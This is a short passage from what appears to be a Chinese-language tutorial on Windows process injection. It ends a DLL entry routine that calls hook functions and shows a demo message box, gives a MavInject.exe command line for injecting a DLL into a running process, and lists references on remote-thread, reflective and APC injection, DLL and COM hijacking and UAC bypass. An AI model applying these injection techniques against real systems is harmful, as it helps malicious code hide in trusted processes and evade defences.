HookFunction();
HookFunction2();
::MessageBoxA(NULL, "Locked and Loaded!", "Boom!", 0);
break;
}
return TRUE;
}
使用方法
MavInject.exe <PID> /INJECTRUNNING <PATH DLL>
参考文献:
https://github.com/suvllian/process-inject
在Windows环境下的进程注入方法:远程线程注入、创建进程挂起注入、反射注入、APCInject、SetWindowHookEX注入
DLL劫持、COM劫持、Bypass UAC利用与挖掘
https://www.bilibili.com/video/av51718274
http://www.secist.com/archives/5912.html
https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108